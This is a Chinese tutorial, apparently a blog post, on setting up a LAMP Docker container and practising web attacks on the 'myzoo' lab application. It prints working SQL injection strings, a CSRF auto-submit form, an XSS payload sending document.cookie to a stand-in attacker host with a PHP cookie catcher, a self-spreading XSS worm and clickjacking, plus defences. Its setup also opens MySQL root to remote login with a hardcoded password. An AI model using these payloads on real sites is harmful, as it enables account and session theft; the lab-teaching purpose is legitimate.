docker安装lamp环境
docker安装lamp环境(该docker:lincode ubuntu14.04,php5.5,mysql,约372mb):
docker search lamp
# 选择lincode下载 下载速度较快 稳定
docker pull linode/lamp
#镜像端口、名称、文件夹映射都可以配置,一经配置,修改比较麻烦,建议一次配好
docker run -it -p 80:80 -p 3306:3306 -p 443:443 --name lamp linode/lamp /bin/bash
# 下载完成看一下配置好的镜像
docker images
#用 docker rmi 镜像id 可以删除
#启动镜像 stop/restart
sudo docker start lamp
#查看运行中的镜像
docker ps -a
#shell进入镜像
sudo docker exec -it lamp /bin/bash
如果后期需要更新配置:
修改映射关系的一个例子
#从容器创建一个新的镜像,可手动删除源镜像
sudo docker commit 964f5db616e6 lamp2
#设置该镜像的配置
sudo docker run -it -p 80:80 -p 3306:3306 -p 443:443 -v /home/muddyway/下载/myzoo:/var/www/example.com/public\_html/myzoo -v /home/muddyway/下载/attack:/var/www/attack.com/public\_html lamp2 /bin/bash
service apache2 start
service mysql start
# 可以通过netstat -pant 命令查看80和3306端口有没有开启成功
mysql -u root -p
#密码:Admin2015
#修改root可远程登录:
mysql>use mysql;
mysql>update user set host = '%' where user = 'root' and host='127.0.0.1';
#修改密码:
mysql>update user set password=password("your_password") where user='root';
#刷新权限
FLUSH PRIVILEGES;
#检查获取源更新
apt update
#升级包(可选)
apt upgrade
apt install -y php5-mysql
apt install -y php5-gd
#然后重启apache2:
service apache2 restart
#再次确认mysql和apache2有没有安装成功:
netstat -pant
#可以通过下面的命令查看服务器上有哪些php的扩展:
apt-cache search php5-\*
apt-get remove vim-common
apt-get install vim
安装phpmyadmin
apt install phpmyadmin
#安装过程中会要求选择web server:apache2或lighttpd,按空格选择apache2,按Tab键确定就行。然后会要求输入密码,就是安装mysql的root密码。
ln -s /usr/share/phpmyadmin /var/www/html
有的人可能没有html目录,就把“/html”去掉就好了。
然后在浏览器输入localhost/phpmyadmin,就可以看见phpmyadmin的登录界面了。
如果自己需要了解https参考,一般主机商提供免费https证书
配置虚拟主机参考
建立host映射(这一步不是在docker做的,是配置主机与docker的映射):
attack.com是已经建立好的虚拟主机
sudo vim /etc/hosts
127.0.0.1 attack.com
sudo /etc/init.d/networking restart
开启apache虚拟主机开关:
vi /etc/apache2/apache2.conf
#修改 HostnameLookups On
如果php需要调试可以打开错误报告开关(而不是显示500):
/etc/apache2/apache2.conf
php_flag display_errors on
php_value error_reporting 2039
如果没有建立docker映射文件夹,需要手动将自己文件拷贝到docker里apache服务器站点目录下:
sudo docker cp /home/muddyway/下载/myzoo/includes/transfer.html 964f5db616e6:/var/www/attack.com/public_html/transfer.html
web安全实践
视频
需要myzoo php5版本
开始
sql注入演示,在myzoo中的profile中输入:
', Zoobars=100, Profile='hello
查看源码,发现在处理$profile参数时,没有进行防止sql注入的相应的过滤。
$sql = "UPDATE Person SET Profile='$profile' ".
"WHERE PersonID=$user->id";
123' or 1=1#, 密码填 123' or 1=1#
css修改,在myzoo中的profile中输入:
<img src="http://upload-images.jianshu.io/upload_images/688387-7e4ba3815c40a62e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" style="position:relative;top:-59px;right:-70px;width:34px;height:21px"/>
csrf
建立攻击网站(localhost):
https://attack.test.com/trans...
抽奖
#模拟post
<form id="form" method=POST name=transferform
action="https://bank.test.com/myzoo/transfer.php" >
<p>Send <input name=zoobars type=hidden value="1" size=5> zoobars</p>
<p>to <input name=recipient type=hidden value="root"></p>
<p>to <input name=submission type=submit value="抽奖"></p>
</form>
#嵌入原页面
<iframe name="myframe" style="display:true" src="https://bank.test.com/myzoo/transfer.php" ></iframe>
#js post提交
<script>
function _submit(){
var form = document.getElementById("form");
form["target"]="myframe";
form.submit();
console.log(1);
console.log(form);
};
_submit();
</script>
防御:
- 1.session token
session_start();
提交post后处理逻辑
$_SESSION["csrf"] = md5(uniqid(mt_rand(), true));
<input type=hidden name=csrf value="<?php echo $_SESSION["csrf"]?>"/> - 2.refer
echo $_SERVER['HTTP_REFERER'];
if ($_SERVER['HTTP_REFERER'] != "https://bank.test.com/myzoo/transfer.php") {
echo "transfer fail";
}else{
echo "transfer pass";
}
使用post方式防御CSRF使用https防御CSRF
xss
user
<a href=javascript:alert(1)>hello</a>
修改 myzoo/user.php源码
$allowed_tags =
'<script><a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' .
'<tr><td><th><u><ul><em><span>';
$disallowed =
'eval|setTimeout|setInterval|target|'.
'onAbort|onBlur|onChange|onClick|onDblClick|'.
'onDragDrop|onFocus|onKeyDown|onKeyPress|'.
'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'.
'onMouseOver|onMouseUp|onMove|onReset|onResize|'.
'onSelect|onSubmit|onUnload';
profile user查看(允许打开新窗口)
<img src=x onerror=javascript:window.open(\"https://attack.test.com/transfer.php?cookie=\"+document.cookie) />
修改php
<?php
$cookie = $_GET['cookie'];
if(isset($cookie)){
echo 'get cookie: '.$cookie;
}else{
echo 'not get cookie';
}
?>
防御:
HttpOnly cookie
黑名单、白名单
worm
<span id="hack">
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","https://bank.test.com/myzoo/transfer.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("zoobars=1&recipient=root&submission=Send");
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","https://bank.test.com/myzoo/index.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
str = "<span id=hack>"
str += document.getElementById("hack").innerHTML + "</span>";
str = encodeURIComponent(str);
str = "profile_submit=Save&profile_update=" + str;
xmlhttp.send(str);
</script>
</span>
点击劫持:
https://attack.test.com/click.php
三种隐藏元素方法:
display:none
没有存在过的痕迹
visibility:hidden
有存在过的痕迹,但不见了,点击没有效果
opacity:0
有存在过的痕迹,但不见了,点击有效果
方法一、后台防御
X-Frame-Options
DENY:禁止iframe
SAMEORIGIN:只允许相同域名下的网页iframe,同源政策保护
ALLOW-FROM: https://example.com:白名单限制
在transfer.php页面头加上,则无法加载iframe。
header('X-Frame-Options:DENY'); #所有的网页都不允许加载iframe
header('X-Frame-Options:SAMEORIGIN');#同源网页可以加载iframe
方法二、js防御
在transfer.php页面加上,效果是如果外部网页加载iframe,则重定位到transfer.php页面。
<style type="text/css">
body{display: none;}
</style>
<script type="text/javascript">
if (self == top) {
var theBody = document.getElementsByTagName('body')[0];
theBody.style.display='block';
}else{
top.location = self.location;
}
</script>
ajax
速度快、资源少、异步、请求和接收
1.资源未加载
2.open结束
3.发送成功
4.接收中
5.加载资源成功
XSS注入了javascript脚本,这个脚本就可以通过ajax获取用户信息并通过ajax提交给其他站点
同源策略
cors
Access-Control-Allow-Origin: example.com
Access-Control-Request-Method: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization, Accept, Range, Origin
Access-Control-Expose-Headers: Content-Range
Access-Control-Max-Age: 3600
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。